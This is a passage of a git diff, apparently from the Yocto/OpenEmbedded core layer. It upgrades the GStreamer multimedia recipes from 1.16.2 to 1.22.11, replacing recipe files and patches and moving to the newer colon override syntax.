-PACKAGECONFIG[jpeg] = "-Djpeg=enabled,-Djpeg=disabled,jpeg"
-PACKAGECONFIG[lame] = "-Dlame=enabled,-Dlame=disabled,lame"
-PACKAGECONFIG[libpng] = "-Dpng=enabled,-Dpng=disabled,libpng"
-PACKAGECONFIG[libv4l2] = "-Dv4l2-libv4l2=enabled,-Dv4l2-libv4l2=disabled,v4l-utils"
-PACKAGECONFIG[mpg123] = "-Dmpg123=enabled,-Dmpg123=disabled,mpg123"
-PACKAGECONFIG[pulseaudio] = "-Dpulse=enabled,-Dpulse=disabled,pulseaudio"
-PACKAGECONFIG[qt5] = "-Dqt5=enabled,-Dqt5=disabled,qtbase qtdeclarative qtbase-native"
-PACKAGECONFIG[soup] = "-Dsoup=enabled,-Dsoup=disabled,libsoup-2.4"
-PACKAGECONFIG[speex] = "-Dspeex=enabled,-Dspeex=disabled,speex"
-PACKAGECONFIG[taglib] = "-Dtaglib=enabled,-Dtaglib=disabled,taglib"
-PACKAGECONFIG[v4l2] = "-Dv4l2=enabled -Dv4l2-probe=true,-Dv4l2=disabled -Dv4l2-probe=false"
-PACKAGECONFIG[vpx] = "-Dvpx=enabled,-Dvpx=disabled,libvpx"
-PACKAGECONFIG[wavpack] = "-Dwavpack=enabled,-Dwavpack=disabled,wavpack"
-PACKAGECONFIG[x11] = "${X11ENABLEOPTS},${X11DISABLEOPTS},${X11DEPENDS}"
-
-EXTRA_OEMESON += " \
- -Daalib=disabled \
- -Ddirectsound=disabled \
- -Ddv=disabled \
- -Dlibcaca=disabled \
- -Doss=enabled \
- -Doss4=disabled \
- -Dosxaudio=disabled \
- -Dosxvideo=disabled \
- -Dshout2=disabled \
- -Dtwolame=disabled \
- -Dwaveform=disabled \
-"
-
-FILES_${PN}-equalizer += "${datadir}/gstreamer-1.0/presets/*.prs"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-good_1.22.11.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-good_1.22.11.bb
new file mode 100644
index 0000000000..edd8609b7c
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-good_1.22.11.bb
@@ -0,0 +1,81 @@
+require gstreamer1.0-plugins-common.inc
+
+SUMMARY = "'Good' GStreamer plugins"
+HOMEPAGE = "https://gstreamer.freedesktop.org/"
+BUGTRACKER = "https://gitlab.freedesktop.org/gstreamer/gst-plugins-good/-/issues"
+
+SRC_URI = "https://gstreamer.freedesktop.org/src/gst-plugins-good/gst-plugins-good-${PV}.tar.xz \
+ file://0001-qt-include-ext-qt-gstqtgl.h-instead-of-gst-gl-gstglf.patch \
+ file://0001-v4l2-Define-ioctl_req_t-for-posix-linux-case.patch"
+
+SRC_URI[sha256sum] = "6ddd032381827d31820540735f0004b429436b0bdac19aaeab44fa22faad52e2"
+
+S = "${WORKDIR}/gst-plugins-good-${PV}"
+
+LICENSE = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=a6f89e2100d9b6cdffcea4f398e37343 \
+ file://gst/replaygain/rganalysis.c;beginline=1;endline=23;md5=b60ebefd5b2f5a8e0cab6bfee391a5fe"
+
+DEPENDS += "gstreamer1.0-plugins-base libcap zlib"
+RPROVIDES:${PN}-pulseaudio += "${PN}-pulse"
+RPROVIDES:${PN}-soup += "${PN}-souphttpsrc"
+RDEPENDS:${PN}-soup += "${MLPREFIX}${@bb.utils.contains('PACKAGECONFIG', 'soup2', 'libsoup-2.4', 'libsoup', d)}"
+
+PACKAGECONFIG_SOUP ?= "soup3"
+
+PACKAGECONFIG ??= " \
+ ${GSTREAMER_ORC} \
+ ${PACKAGECONFIG_SOUP} \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'pulseaudio x11', d)} \
+ ${@bb.utils.contains('TUNE_FEATURES', 'm64', 'asm', '', d)} \
+ bz2 cairo flac gdk-pixbuf gudev jpeg lame libpng mpg123 speex taglib v4l2 \
+"
+
+X11DEPENDS = "virtual/libx11 libsm libxrender libxfixes libxdamage"
+X11ENABLEOPTS = "-Dximagesrc=enabled -Dximagesrc-xshm=enabled -Dximagesrc-xfixes=enabled -Dximagesrc-xdamage=enabled"
+X11DISABLEOPTS = "-Dximagesrc=disabled -Dximagesrc-xshm=disabled -Dximagesrc-xfixes=disabled -Dximagesrc-xdamage=disabled"
+
+QT5WAYLANDDEPENDS = "${@bb.utils.contains("DISTRO_FEATURES", "wayland", "qtwayland", "", d)}"
+
+PACKAGECONFIG[asm] = "-Dasm=enabled,-Dasm=disabled,nasm-native"
+PACKAGECONFIG[bz2] = "-Dbz2=enabled,-Dbz2=disabled,bzip2"
+PACKAGECONFIG[cairo] = "-Dcairo=enabled,-Dcairo=disabled,cairo"
+PACKAGECONFIG[dv1394] = "-Ddv1394=enabled,-Ddv1394=disabled,libiec61883 libavc1394 libraw1394"
+PACKAGECONFIG[flac] = "-Dflac=enabled,-Dflac=disabled,flac"
+PACKAGECONFIG[gdk-pixbuf] = "-Dgdk-pixbuf=enabled,-Dgdk-pixbuf=disabled,gdk-pixbuf"
+PACKAGECONFIG[gtk] = "-Dgtk3=enabled,-Dgtk3=disabled,gtk+3"
+PACKAGECONFIG[gudev] = "-Dv4l2-gudev=enabled,-Dv4l2-gudev=disabled,libgudev"
+PACKAGECONFIG[jack] = "-Djack=enabled,-Djack=disabled,jack"
+PACKAGECONFIG[jpeg] = "-Djpeg=enabled,-Djpeg=disabled,jpeg"
+PACKAGECONFIG[lame] = "-Dlame=enabled,-Dlame=disabled,lame"
+PACKAGECONFIG[libpng] = "-Dpng=enabled,-Dpng=disabled,libpng"
+PACKAGECONFIG[libv4l2] = "-Dv4l2-libv4l2=enabled,-Dv4l2-libv4l2=disabled,v4l-utils"
+PACKAGECONFIG[mpg123] = "-Dmpg123=enabled,-Dmpg123=disabled,mpg123"
+PACKAGECONFIG[pulseaudio] = "-Dpulse=enabled,-Dpulse=disabled,pulseaudio"
+PACKAGECONFIG[qt5] = "-Dqt5=enabled,-Dqt5=disabled,qtbase qtdeclarative qtbase-native ${QT5WAYLANDDEPENDS}"
+PACKAGECONFIG[soup2] = "-Dsoup=enabled,,libsoup-2.4,,,soup3"
+PACKAGECONFIG[soup3] = "-Dsoup=enabled,,libsoup,,,soup2"
+PACKAGECONFIG[speex] = "-Dspeex=enabled,-Dspeex=disabled,speex"
+PACKAGECONFIG[rpi] = "-Drpicamsrc=enabled,-Drpicamsrc=disabled,userland"
+PACKAGECONFIG[taglib] = "-Dtaglib=enabled,-Dtaglib=disabled,taglib"
+PACKAGECONFIG[v4l2] = "-Dv4l2=enabled -Dv4l2-probe=true,-Dv4l2=disabled -Dv4l2-probe=false"
+PACKAGECONFIG[vpx] = "-Dvpx=enabled,-Dvpx=disabled,libvpx"
+PACKAGECONFIG[wavpack] = "-Dwavpack=enabled,-Dwavpack=disabled,wavpack"
+PACKAGECONFIG[x11] = "${X11ENABLEOPTS},${X11DISABLEOPTS},${X11DEPENDS}"
+
+EXTRA_OEMESON += " \
+ -Ddoc=disabled \
+ -Daalib=disabled \
+ -Ddirectsound=disabled \
+ -Ddv=disabled \
+ -Dlibcaca=disabled \
+ -Doss=enabled \
+ -Doss4=disabled \
+ -Dosxaudio=disabled \
+ -Dosxvideo=disabled \
+ -Dshout2=disabled \
+ -Dtwolame=disabled \
+ -Dwaveform=disabled \
+"
+
+FILES:${PN}-equalizer += "${datadir}/gstreamer-1.0/presets/*.prs"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-license.inc b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-license.inc
new file mode 100644
index 0000000000..8b1c001111
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-license.inc
@@ -0,0 +1,19 @@
+# This .inc file contains functionality for automatically setting
+# the the license of all plugins according to the GSTREAMER_GPL.
+
+PACKAGESPLITFUNCS += "set_gstreamer_license"
+
+python set_gstreamer_license () {
+ import oe.utils
+ pn = d.getVar('PN') + '-'
+ gpl_plugins_names = [pn+plugin for plugin in d.getVar('GSTREAMER_GPL').split()]
+ for pkg in oe.utils.packages_filter_out_system(d):
+ if pkg in gpl_plugins_names:
+ d.setVar('LICENSE:' + pkg, 'GPL-2.0-or-later')
+ else:
+ d.setVar('LICENSE:' + pkg, 'LGPL-2.1-or-later')
+}
+
+EXTRA_OEMESON += " \
+ ${@bb.utils.contains_any('PACKAGECONFIG', "${GSTREAMER_GPL}", '-Dgpl=enabled', '-Dgpl=disabled', d)} \
+ "
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-packaging.inc b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-packaging.inc
index 9a7a1b6afe..d77aeed8a2 100644
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-packaging.inc
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-packaging.inc
@@ -6,8 +6,11 @@
# This is mainly used by the gstreamer1.0-plugins-* plugin set recipes,
# but can be used in any recipe that produces GStreamer plugins.
-PACKAGESPLITFUNCS_prepend = " split_gstreamer10_packages "
-PACKAGESPLITFUNCS_append = " set_gstreamer10_metapkg_rdepends "
+# Dynamically generate packages for all enabled plugins
+PACKAGES_DYNAMIC = "^${PN}-.* ^libgst.*"
+
+PACKAGESPLITFUNCS =+ "split_gstreamer10_packages"
+PACKAGESPLITFUNCS += "set_gstreamer10_metapkg_rdepends"
python split_gstreamer10_packages () {
gst_libdir = d.expand('${libdir}/gstreamer-1.0')
@@ -33,13 +36,13 @@ python set_gstreamer10_metapkg_rdepends () {
pn = d.getVar('PN')
metapkg = pn + '-meta'
- d.setVar('ALLOW_EMPTY_' + metapkg, "1")
- d.setVar('FILES_' + metapkg, "")
- blacklist = [ pn, pn + '-meta' ]
+ d.setVar('ALLOW_EMPTY:' + metapkg, "1")
+ d.setVar('FILES:' + metapkg, "")
+ exclude = [ pn, pn + '-meta' ]
metapkg_rdepends = []
pkgdest = d.getVar('PKGDEST')
for pkg in oe.utils.packages_filter_out_system(d):
- if pkg not in blacklist and pkg not in metapkg_rdepends:
+ if pkg not in exclude and pkg not in metapkg_rdepends:
# See if the package is empty by looking at the contents of its PKGDEST subdirectory.
# If this subdirectory is empty, then the package is.
# Empty packages do not get added to the meta package's RDEPENDS
@@ -51,20 +54,20 @@ python set_gstreamer10_metapkg_rdepends () {
is_empty = len(dir_contents) == 0
if not is_empty:
metapkg_rdepends.append(pkg)
- d.setVar('RDEPENDS_' + metapkg, ' '.join(metapkg_rdepends))
- d.setVar('DESCRIPTION_' + metapkg, pn + ' meta package')
+ d.setVar('RDEPENDS:' + metapkg, ' '.join(metapkg_rdepends))
+ d.setVar('DESCRIPTION:' + metapkg, pn + ' meta package')
}
# each plugin-dev depends on PN-dev, plugin-staticdev on PN-staticdev
# so we need them even when empty (like in gst-plugins-good case)
-ALLOW_EMPTY_${PN} = "1"
-ALLOW_EMPTY_${PN}-dev = "1"
-ALLOW_EMPTY_${PN}-staticdev = "1"
+ALLOW_EMPTY:${PN} = "1"
+ALLOW_EMPTY:${PN}-dev = "1"
+ALLOW_EMPTY:${PN}-staticdev = "1"
PACKAGES += "${PN}-apps ${PN}-meta ${PN}-glib"
-FILES_${PN} = ""
-FILES_${PN}-apps = "${bindir}"
-FILES_${PN}-glib = "${datadir}/glib-2.0"
+FILES:${PN} = ""
+FILES:${PN}-apps = "${bindir}"
+FILES:${PN}-glib = "${datadir}/glib-2.0"
-RRECOMMENDS_${PN} += "${PN}-meta"
+RRECOMMENDS:${PN} += "${PN}-meta"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-ugly_1.16.2.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-ugly_1.16.2.bb
deleted file mode 100644
index be10800389..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-ugly_1.16.2.bb
+++ /dev/null
@@ -1,39 +0,0 @@
-require gstreamer1.0-plugins-common.inc
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=a6f89e2100d9b6cdffcea4f398e37343 \
- file://tests/check/elements/xingmux.c;beginline=1;endline=21;md5=4c771b8af188724855cb99cadd390068"
-
-LICENSE = "GPLv2+ & LGPLv2.1+ & LGPLv2+"
-LICENSE_FLAGS = "commercial"
-
-SRC_URI = " \
- https://gstreamer.freedesktop.org/src/gst-plugins-ugly/gst-plugins-ugly-${PV}.tar.xz \
- "
-SRC_URI[md5sum] = "10283ff5ef1e34d462dde77042e329bd"
-SRC_URI[sha256sum] = "5500415b865e8b62775d4742cbb9f37146a50caecfc0e7a6fc0160d3c560fbca"
-
-S = "${WORKDIR}/gst-plugins-ugly-${PV}"
-
-DEPENDS += "gstreamer1.0-plugins-base"
-
-GST_PLUGIN_SET_HAS_EXAMPLES = "0"
-
-PACKAGECONFIG ??= " \
- ${GSTREAMER_ORC} \
- a52dec mpeg2dec \
-"
-
-PACKAGECONFIG[a52dec] = "-Da52dec=enabled,-Da52dec=disabled,liba52"
-PACKAGECONFIG[amrnb] = "-Damrnb=enabled,-Damrnb=disabled,opencore-amr"
-PACKAGECONFIG[amrwb] = "-Damrwbdec=enabled,-Damrwbdec=disabled,opencore-amr"
-PACKAGECONFIG[cdio] = "-Dcdio=enabled,-Dcdio=disabled,libcdio"
-PACKAGECONFIG[dvdread] = "-Ddvdread=enabled,-Ddvdread=disabled,libdvdread"
-PACKAGECONFIG[mpeg2dec] = "-Dmpeg2dec=enabled,-Dmpeg2dec=disabled,mpeg2dec"
-PACKAGECONFIG[x264] = "-Dx264=enabled,-Dx264=disabled,x264"
-
-EXTRA_OEMESON += " \
- -Dsidplay=disabled \
-"
-
-FILES_${PN}-amrnb += "${datadir}/gstreamer-1.0/presets/GstAmrnbEnc.prs"
-FILES_${PN}-x264 += "${datadir}/gstreamer-1.0/presets/GstX264Enc.prs"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-ugly_1.22.11.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-ugly_1.22.11.bb
new file mode 100644
index 0000000000..61f46fbf7e
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-ugly_1.22.11.bb
@@ -0,0 +1,47 @@
+require gstreamer1.0-plugins-common.inc
+require gstreamer1.0-plugins-license.inc
+
+SUMMARY = "'Ugly GStreamer plugins"
+HOMEPAGE = "https://gstreamer.freedesktop.org/"
+BUGTRACKER = "https://gitlab.freedesktop.org/gstreamer/gst-plugins-ugly/-/issues"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=a6f89e2100d9b6cdffcea4f398e37343 \
+ "
+
+LICENSE = "LGPL-2.1-or-later & GPL-2.0-or-later"
+LICENSE_FLAGS = "commercial"
+
+SRC_URI = " \
+ https://gstreamer.freedesktop.org/src/gst-plugins-ugly/gst-plugins-ugly-${PV}.tar.xz \
+ "
+
+SRC_URI[sha256sum] = "7758b7decfd20c00cae5700822bcbbf03f98c723e33e17634db2e07ca1da60bf"
+
+S = "${WORKDIR}/gst-plugins-ugly-${PV}"
+
+DEPENDS += "gstreamer1.0-plugins-base"
+
+GST_PLUGIN_SET_HAS_EXAMPLES = "0"
+
+PACKAGECONFIG ??= " \
+ ${GSTREAMER_ORC} \
+ a52dec mpeg2dec \
+"
+
+PACKAGECONFIG[amrnb] = "-Damrnb=enabled,-Damrnb=disabled,opencore-amr"
+PACKAGECONFIG[amrwb] = "-Damrwbdec=enabled,-Damrwbdec=disabled,opencore-amr"
+PACKAGECONFIG[a52dec] = "-Da52dec=enabled,-Da52dec=disabled,liba52"
+PACKAGECONFIG[cdio] = "-Dcdio=enabled,-Dcdio=disabled,libcdio"
+PACKAGECONFIG[dvdread] = "-Ddvdread=enabled,-Ddvdread=disabled,libdvdread"
+PACKAGECONFIG[mpeg2dec] = "-Dmpeg2dec=enabled,-Dmpeg2dec=disabled,mpeg2dec"
+PACKAGECONFIG[x264] = "-Dx264=enabled,-Dx264=disabled,x264"
+
+GSTREAMER_GPL = "${@bb.utils.filter('PACKAGECONFIG', 'a52dec cdio dvdread mpeg2dec x264', d)}"
+
+EXTRA_OEMESON += " \
+ -Ddoc=disabled \
+ -Dsidplay=disabled \
+"
+
+FILES:${PN}-amrnb += "${datadir}/gstreamer-1.0/presets/GstAmrnbEnc.prs"
+FILES:${PN}-x264 += "${datadir}/gstreamer-1.0/presets/GstX264Enc.prs"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-ptest.inc b/meta/recipes-multimedia/gstreamer/gstreamer1.0-ptest.inc
deleted file mode 100644
index b698067041..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-ptest.inc
+++ /dev/null
@@ -1,23 +0,0 @@
-inherit ptest-gnome
-
-TEST_FILES_PATH = "${datadir}/installed-tests/gstreamer-1.0/test-files"
-RUN_PTEST_FILE = "${D}${PTEST_PATH}/run-ptest"
-
-EXTRA_OEMESON += "-Dtest-files-path=${TEST_FILES_PATH}"
-
-GST_TEST_SUITE_NAME ?= "gstreamer-1.0"
-
-# Using do_install_ptest_base instead of do_install_ptest, since
-# the default do_install_ptest_base is hardcoded to expect Makefiles.
-do_install_ptest_base() {
- # Generate run-ptest file
- echo "#!/usr/bin/env sh" > "${RUN_PTEST_FILE}"
- echo "gnome-desktop-testing-runner ${GST_TEST_SUITE_NAME}" >> "${RUN_PTEST_FILE}"
- chmod 0755 "${RUN_PTEST_FILE}"
-
- # Install additional files required by tests
- if [ -d "${S}/tests/files" ] ; then
- install -d "${D}/${TEST_FILES_PATH}"
- install -m 0644 "${S}/tests/files"/* "${D}/${TEST_FILES_PATH}"
- fi
-}
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-python/0001-meson.build-fix-builds-with-python-3.8.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-python/0001-meson.build-fix-builds-with-python-3.8.patch
deleted file mode 100644
index 053108ad50..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-python/0001-meson.build-fix-builds-with-python-3.8.patch
+++ /dev/null
@@ -1,24 +0,0 @@
-From 61cfd1b49dc82baf14bb36d88b6c5be7b8c3d23a Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Mon, 2 Dec 2019 18:16:41 +0100
-Subject: [PATCH] meson.build: fix builds with python 3.8
-
-Upstream-Status: Submitted [https://gitlab.freedesktop.org/gstreamer/gst-python/merge_requests/14]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- meson.build | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/meson.build b/meson.build
-index 1da81d5..3e0db38 100644
---- a/meson.build
-+++ b/meson.build
-@@ -24,7 +24,7 @@ pygobject_dep = dependency('pygobject-3.0', fallback: ['pygobject', 'pygobject_d
-
- pymod = import('python')
- python = pymod.find_installation(get_option('python'))
--python_dep = python.dependency(required : true)
-+python_dep = dependency('python3-embed', required : true)
-
- python_abi_flags = python.get_variable('ABIFLAGS', '')
- pylib_loc = get_option('libpython-dir')
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-python_1.16.2.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-python_1.16.2.bb
deleted file mode 100644
index 9e024eb9f3..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-python_1.16.2.bb
+++ /dev/null
@@ -1,37 +0,0 @@
-SUMMARY = "Python bindings for GStreamer 1.0"
-HOMEPAGE = "http://cgit.freedesktop.org/gstreamer/gst-python/"
-SECTION = "multimedia"
-
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=c34deae4e395ca07e725ab0076a5f740"
-
-SRC_URI = "https://gstreamer.freedesktop.org/src/${PNREAL}/${PNREAL}-${PV}.tar.xz \
- file://0001-meson.build-fix-builds-with-python-3.8.patch \
- "
-SRC_URI[md5sum] = "6ac709767334d8d0a71cb4e016f6abeb"
-SRC_URI[sha256sum] = "208df3148d73d9f416d016564737585d8ea763d91201732d44b5fe688c6288a8"
-
-DEPENDS = "gstreamer1.0 python3-pygobject"
-RDEPENDS_${PN} += "gstreamer1.0 python3-pygobject"
-
-PNREAL = "gst-python"
-
-S = "${WORKDIR}/${PNREAL}-${PV}"
-
-# gobject-introspection is mandatory and cannot be configured
-REQUIRED_DISTRO_FEATURES = "gobject-introspection-data"
-UNKNOWN_CONFIGURE_WHITELIST_append = " introspection"
-
-inherit meson pkgconfig distutils3-base upstream-version-is-even gobject-introspection features_check
-
-do_install_append() {
-
- # Note that this particular find line is taken from the Debian packaging for
- # gst-python1.0.
- find "${D}" \
- -name '*.pyc' -o \
- -name '*.pyo' -o \
- -name '*.la' -o \
- -name 'libgstpythonplugin*' \
- -delete
-}
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-python_1.22.11.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-python_1.22.11.bb
new file mode 100644
index 0000000000..0fbb03f757
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-python_1.22.11.bb
@@ -0,0 +1,30 @@
+SUMMARY = "Python bindings for GStreamer 1.0"
+DESCRIPTION = "GStreamer Python binding overrides (complementing the bindings \
+provided by python-gi) "
+HOMEPAGE = "http://cgit.freedesktop.org/gstreamer/gst-python/"
+SECTION = "multimedia"
+
+LICENSE = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=c34deae4e395ca07e725ab0076a5f740"
+
+SRC_URI = "https://gstreamer.freedesktop.org/src/${PNREAL}/${PNREAL}-${PV}.tar.xz"
+SRC_URI[sha256sum] = "f7a5450d93fd81bf46060dca7f4a048d095b6717961fec211731a11a994c99a7"
+
+DEPENDS = "gstreamer1.0 gstreamer1.0-plugins-base python3-pygobject"
+RDEPENDS:${PN} += "gstreamer1.0 gstreamer1.0-plugins-base python3-pygobject"
+
+PNREAL = "gst-python"
+
+S = "${WORKDIR}/${PNREAL}-${PV}"
+
+EXTRA_OEMESON += "\
+ -Dtests=disabled \
+ -Dplugin=enabled \
+ -Dlibpython-dir=${libdir} \
+"
+
+inherit meson pkgconfig setuptools3-base upstream-version-is-even features_check
+
+FILES:${PN} += "${libdir}/gstreamer-1.0"
+
+REQUIRED_DISTRO_FEATURES = "gobject-introspection-data"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-rtsp-server/0001-meson-build-gir-even-when-cross-compiling-if-introsp.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-rtsp-server/0001-meson-build-gir-even-when-cross-compiling-if-introsp.patch
deleted file mode 100644
index 6962a50d6e..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-rtsp-server/0001-meson-build-gir-even-when-cross-compiling-if-introsp.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-From 95ce953e34cd0e9f5d42ce7900a9572e7bc8ca47 Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?Tim-Philipp=20M=C3=BCller?= <tim@centricular.com>
-Date: Fri, 18 Oct 2019 00:42:12 +0100
-Subject: [PATCH] meson: build gir even when cross-compiling if introspection
- was enabled explicitly
-
-This can be made to work in certain circumstances when
-cross-compiling, so default to not building g-i stuff
-when cross-compiling, but allow it if introspection was
-enabled explicitly via -Dintrospection=enabled.
-
-See gstreamer/gstreamer#454 and gstreamer/gstreamer#381.
-
-Upstream-Status: Backport [95ce953e34cd0e9f5d42ce7900a9572e7bc8ca47]
-
-Signed-off-by: Carlos Rafael Giani <crg7475@mailbox.org>
----
- meson.build | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/meson.build b/meson.build
-index e1e3b1d..3f45f0e 100644
---- a/meson.build
-+++ b/meson.build
-@@ -173,7 +173,7 @@ endif
-
- gir = find_program('g-ir-scanner', required : get_option('introspection'))
- gnome = import('gnome')
--build_gir = gir.found() and not meson.is_cross_build()
-+build_gir = gir.found() and (not meson.is_cross_build() or get_option('introspection').enabled())
- gir_init_section = [ '--add-init-section=extern void gst_init(gint*,gchar**);' + \
- 'g_setenv("GST_REGISTRY_1.0", "@0@", TRUE);'.format(meson.current_build_dir() + '/gir_empty_registry.reg') + \
- 'g_setenv("GST_PLUGIN_PATH_1_0", "", TRUE);' + \
---
-2.17.1
-
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-rtsp-server_1.16.2.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-rtsp-server_1.16.2.bb
deleted file mode 100644
index 02c3c83840..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-rtsp-server_1.16.2.bb
+++ /dev/null
@@ -1,31 +0,0 @@
-SUMMARY = "A library on top of GStreamer for building an RTSP server"
-HOMEPAGE = "http://cgit.freedesktop.org/gstreamer/gst-rtsp-server/"
-SECTION = "multimedia"
-LICENSE = "LGPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=6762ed442b3822387a51c92d928ead0d"
-
-DEPENDS = "gstreamer1.0 gstreamer1.0-plugins-base"
-
-PNREAL = "gst-rtsp-server"
-
-SRC_URI = "https://gstreamer.freedesktop.org/src/${PNREAL}/${PNREAL}-${PV}.tar.xz \
- file://0001-meson-build-gir-even-when-cross-compiling-if-introsp.patch \
- "
-
-SRC_URI[md5sum] = "8a998725820c771ba45be6e18bfdf73a"
-SRC_URI[sha256sum] = "de07a2837b3b04820ce68264a4909f70c221b85dbff0cede7926e9cdbb1dc26e"
-
-S = "${WORKDIR}/${PNREAL}-${PV}"
-
-inherit meson pkgconfig upstream-version-is-even gobject-introspection
-
-EXTRA_OEMESON += " \
- -Dexamples=disabled \
- -Dtests=disabled \
-"
-
-GIR_MESON_ENABLE_FLAG = "enabled"
-GIR_MESON_DISABLE_FLAG = "disabled"
-
-# Starting with 1.8.0 gst-rtsp-server includes dependency-less plugins as well
-require gstreamer1.0-plugins-packaging.inc
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-rtsp-server_1.22.11.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-rtsp-server_1.22.11.bb
new file mode 100644
index 0000000000..554ed9ec8f
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-rtsp-server_1.22.11.bb
@@ -0,0 +1,31 @@
+SUMMARY = "A library on top of GStreamer for building an RTSP server"
+HOMEPAGE = "http://cgit.freedesktop.org/gstreamer/gst-rtsp-server/"
+SECTION = "multimedia"
+LICENSE = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=69333daa044cb77e486cc36129f7a770"
+
+DEPENDS = "gstreamer1.0 gstreamer1.0-plugins-base"
+
+PNREAL = "gst-rtsp-server"
+
+SRC_URI = "https://gstreamer.freedesktop.org/src/${PNREAL}/${PNREAL}-${PV}.tar.xz"
+
+SRC_URI[sha256sum] = "ec49d474750a6ff6729c85b448abc607fb6840b21717ad7abc967e2adbf07a24"
+
+S = "${WORKDIR}/${PNREAL}-${PV}"
+
+inherit meson pkgconfig upstream-version-is-even gobject-introspection
+
+EXTRA_OEMESON += " \
+ -Ddoc=disabled \
+ -Dexamples=disabled \
+ -Dtests=disabled \
+"
+
+GIR_MESON_ENABLE_FLAG = "enabled"
+GIR_MESON_DISABLE_FLAG = "disabled"
+
+# Starting with 1.8.0 gst-rtsp-server includes dependency-less plugins as well
+require gstreamer1.0-plugins-packaging.inc
+
+CVE_PRODUCT += "gst-rtsp-server"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-vaapi/0001-vaapsink-downgrade-to-marginal.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-vaapi/0001-vaapsink-downgrade-to-marginal.patch
deleted file mode 100644
index 7945a923c9..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-vaapi/0001-vaapsink-downgrade-to-marginal.patch
+++ /dev/null
@@ -1,46 +0,0 @@
-From 0c28cf7bfa90f8947833722cddf23d513490c6c3 Mon Sep 17 00:00:00 2001
-From: Anuj Mittal <anuj.mittal@intel.com>
-Date: Wed, 28 Nov 2018 15:08:48 +0800
-Subject: [PATCH] vaapsink: downgrade to marginal
-
-Using vaapisink with default poky configuration results in an
-unresponsive display as of today because DRI2 rendering is currently broken
-in non composited environments [1] and libva doesn't support DRI3 [2].
-
-Downgrade vaapisink to marginal for now so playbin (and in turn gst-play
-and gtk-play examples) use xvimagesink or others out of box.
-
-[1] https://gitlab.freedesktop.org/xorg/xserver/issues/13
-[2] https://github.com/intel/libva/issues/122
-
-Upstream-Status: Pending
-
-Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
----
- gst/vaapi/gstvaapi.c | 6 +-----
- 1 file changed, 1 insertion(+), 5 deletions(-)
-
-diff --git a/gst/vaapi/gstvaapi.c b/gst/vaapi/gstvaapi.c
-index 9a82454..4d94f2b 100644
---- a/gst/vaapi/gstvaapi.c
-+++ b/gst/vaapi/gstvaapi.c
-@@ -195,7 +195,6 @@ plugin_init (GstPlugin * plugin)
- {
- GstVaapiDisplay *display;
- GArray *decoders;
-- guint rank;
-
- plugin_add_dependencies (plugin);
-
-@@ -220,10 +219,7 @@ plugin_init (GstPlugin * plugin)
- gst_element_register (plugin, "vaapidecodebin",
- GST_RANK_PRIMARY + 2, GST_TYPE_VAAPI_DECODE_BIN);
-
-- rank = GST_RANK_PRIMARY;
-- if (g_getenv ("WAYLAND_DISPLAY"))
-- rank = GST_RANK_MARGINAL;
-- gst_element_register (plugin, "vaapisink", rank, GST_TYPE_VAAPISINK);
-+ gst_element_register (plugin, "vaapisink", GST_RANK_MARGINAL, GST_TYPE_VAAPISINK);
-
- #if USE_ENCODERS
